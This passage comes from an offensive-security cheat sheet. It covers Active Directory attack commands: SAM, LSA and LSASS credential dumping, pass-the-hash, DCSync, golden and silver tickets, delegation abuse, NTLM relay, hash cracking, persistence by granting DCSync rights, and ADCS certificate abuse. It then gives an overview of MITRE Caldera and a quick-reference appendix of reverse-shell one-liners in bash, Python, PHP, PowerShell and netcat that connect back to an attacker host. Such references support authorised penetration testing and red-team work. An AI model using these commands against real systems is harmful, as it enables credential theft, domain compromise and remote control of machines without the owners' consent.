# Dump local SAM
crackmapexec smb <HOST> -u admin -p pass --local-auth --sam

# Dump LSA secrets
crackmapexec smb <HOST> -u admin -p pass --local-auth --lsa

# Dump LSASS (mimikatz)
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest

# Pass the Hash laterally
crackmapexec smb 10.10.10.0/24 --local-auth -u administrator -H <NTHASH> | grep +
```

### Phase 4: Domain Escalation

```bash
# DCSync (requires Replicating Directory Changes)
secretsdump.py domain.local/admin@<DC_IP> -just-dc-ntlm

# Golden Ticket (requires krbtgt hash)
ticketer.py -nthash <KRBTGT_HASH> -domain-sid <SID> -domain domain.local Administrator

# Silver Ticket (requires service account hash)
ticketer.py -nthash <SVC_HASH> -domain-sid <SID> -domain domain.local -spn MSSQLSvc/sql.domain.local Administrator

# Constrained Delegation abuse
getST.py -spn cifs/target.domain.local -impersonate Administrator domain.local/svc_account -hashes :HASH

# Resource-Based Constrained Delegation (RBCD)
# Requires WRITE on target computer object
addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' domain.local/user:pass
rbcd.py -delegate-to TARGET$ -delegate-from FAKE$ -dc-ip <DC_IP> domain.local/user:pass
getST.py -spn cifs/TARGET.domain.local -impersonate Administrator domain.local/FAKE$:FakePass123!

# NTLM Relay to LDAP (when SMB signing disabled)
ntlmrelayx.py -t ldap://<DC_IP> --escalate-user lowpriv
```

### Hash Shucking (NT-Candidate Attack)

Test captured Kerberos/NTLM hashes against known NT hash corpus:

```bash
# Build corpus from DCSync
secretsdump.py domain/user@dc -just-dc-ntlm -history -outputfile dump
grep -i ':::' dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt

# Shuck Kerberoast TGS
hashcat -m 35300 roastable_TGS nt_candidates.txt

# Shuck NetNTLMv2
hashcat -m 27100 netntlmv2.txt nt_candidates.txt

# Shuck DCC2 cached creds
hashcat -m 31600 dcc2.txt nt_candidates.txt
```

### Persistence Techniques

```powershell
# Make user Kerberoastable
Set-DomainObject -Identity <user> -Set @{serviceprincipalname="fake/NOTHING"}

# Make user ASREPRoastable
Set-DomainObject -Identity <user> -XOR @{UserAccountControl=4194304}

# Grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity attacker -Rights DCSync

# Certificate persistence (survives password changes)
# Request cert as user, export PFX, use for future auth
```

### AD Certificate Services (ADCS) Attacks

ESC1-ESC8 template misconfigurations enable domain escalation. Key tool: `certipy`.

```bash
# Find vulnerable templates
certipy find -u user@domain.local -p pass -dc-ip <DC_IP> -vulnerable

# ESC1: Request cert as DA
certipy req -u user@domain.local -p pass -ca CA-NAME -template VulnTemplate -upn administrator@domain.local

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
```
---
## 16. MITRE Caldera

> Adversary emulation platform built on ATT&CK framework.

### Architecture

**Core system**: Async C2 server with REST API and web UI
**Plugins**: Extend capabilities (agents, TTPs, reporting)

### Key Concepts

- **Ability**: A single ATT&CK technique implementation. Defined by:
  - `ability_id` (UUID)
  - `tactic` (ATT&CK tactic name)
  - `technique_id` (e.g., T1059)
  - `technique_name`
  - `executors` (platform-specific commands: psh, sh, cmd)
  - `requirements` (facts that must exist before execution)
  - `privilege` (escalated or not)

- **Adversary**: A profile composed of ordered abilities, representing a threat actor's playbook.

- **Operation**: An instance of an adversary profile running against a group of agents.

- **Agent**: Implant running on target (default: Sandcat, Go-based).

- **Facts**: Key-value pairs discovered during operations (hostnames, credentials, file paths). Facts satisfy ability requirements and enable chaining.

- **Planners**: Decision engines that determine ability execution order:
  - **Atomic**: Sequential, phase-by-phase
  - **Batch**: All abilities at once
  - **Buckets**: Grouped by tactic phase

### Default Plugins

| Plugin       | Purpose                                          |
|--------------|--------------------------------------------------|
| **Stockpile** | TTP library — technique and profile storehouse  |
| **Sandcat**   | Default Go agent (cross-platform)               |
| **Manx**      | Reverse shell and interactive shell capability  |
| **Atomic**    | Integration with Atomic Red Team TTPs           |
| **Compass**   | ATT&CK heatmap visualization                   |
| **Access**    | Initial access tools                            |
| **Response**  | Blue team incident response capabilities        |
| **Emu**       | CTID adversary emulation plans                  |
| **Human**     | Simulates user noise on endpoints               |
| **Debrief**   | Post-operation analysis and reporting           |
| **Builder**   | Dynamic payload compilation                     |

### C2 Contact Channels

Caldera supports multiple C2 channels configured in `conf/default.yml`:
- **HTTP** (default port 8888)
- **DNS** (port 8853, domain: mycaldera.caldera)
- **TCP** (port 7010)
- **UDP** (port 7011)
- **WebSocket** (port 7012)
- **FTP** (port 2222)
- **SSH tunnel** (port 8022)
- **Slack** (API-based)
- **GitHub Gist** (steganographic)
- **HTML contact** (/weather endpoint)

### Adversary Emulation Workflow

1. **Deploy agents** to target hosts
2. **Select/create adversary profile** mapping to threat actor TTPs
3. **Configure operation** (planner, group, obfuscation)
4. **Execute operation** — planner sends abilities to agents
5. **Review results** — facts collected, commands executed
6. **Debrief** — ATT&CK coverage report, timeline, findings

### Detection Engineering Value

Caldera operations generate realistic telemetry for:
- Testing SIEM detection rules against real ATT&CK techniques
- Validating EDR coverage gaps
- Training SOC analysts on real attack patterns
- Purple team exercises with simultaneous red/blue operations (GameBoard plugin)

### Integration with ATT&CK

Every ability maps directly to ATT&CK technique IDs. The Compass plugin visualizes which techniques are covered by an adversary profile against the full ATT&CK matrix, enabling gap analysis.
---
## Appendix A: Reverse Shell Quick Reference

```bash
# Bash
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

# PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Netcat (traditional)
nc -e /bin/sh ATTACKER PORT

# Netcat (no -e, mkfifo)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f
```

## Appendix B: Encoding Quick Reference

```
URL:    %27 = '   %22 = "   %3B = ;   %20 = space   %0A = newline
Double: %2527      %2522      %253B
Hex:    0x27       0x22       0x3b
Unicode: \u0027    \u0022     \u003b
HTML:   &#39;     &#34;      &#59;      &#x27;  &#x22;  &#x3b;
```

## Appendix C: Key Tool References

| Tool | Purpose | Install |
|------|---------|---------|
| sqlmap | Automated SQLi | `pip install sqlmap` |
| Dalfox | XSS scanner (Go) | `go install github.com/hahwul/dalfox/v2@latest` |
| SSRFmap | SSRF automation | `git clone https://github.com/swisskyrepo/SSRFmap` |
| SSTImap | SSTI detection | `pip install sstimap` |
| jwt_tool | JWT testing | `pip install pycryptodomex termcolor requests` |
| Certipy | ADCS attacks | `pip install certipy-ad` |
| BloodHound | AD relationship mapping | `pip install bloodhound` |
| Responder | LLMNR/NBT-NS poisoner | `git clone https://github.com/lgandx/Responder` |
| Impacket | AD/network tools | `pip install impacket` |
| CrackMapExec/NetExec | Multi-protocol spray | `pip install crackmapexec` |
| LinPEAS/WinPEAS | Privesc enumeration | github.com/carlospolop/PEASS-ng |
| Mimikatz | Windows credential extraction | github.com/gentilkiwi/mimikatz |
| Rubeus | Kerberos abuse (.NET) | github.com/GhostPack/Rubeus |
| Caldera | Adversary emulation | `git clone --recursive https://github.com/mitre/caldera` |
| Gopherus | Gopher payload generator | github.com/tarunkant/Gopherus |
| Hashcat | Password cracking | `git clone https://github.com/hashcat/hashcat && make` |
---
*Last updated: 2026-03-14*
*Sources: PayloadsAllTheThings (swisskyrepo), HackTricks (carlospolop), MITRE Caldera*
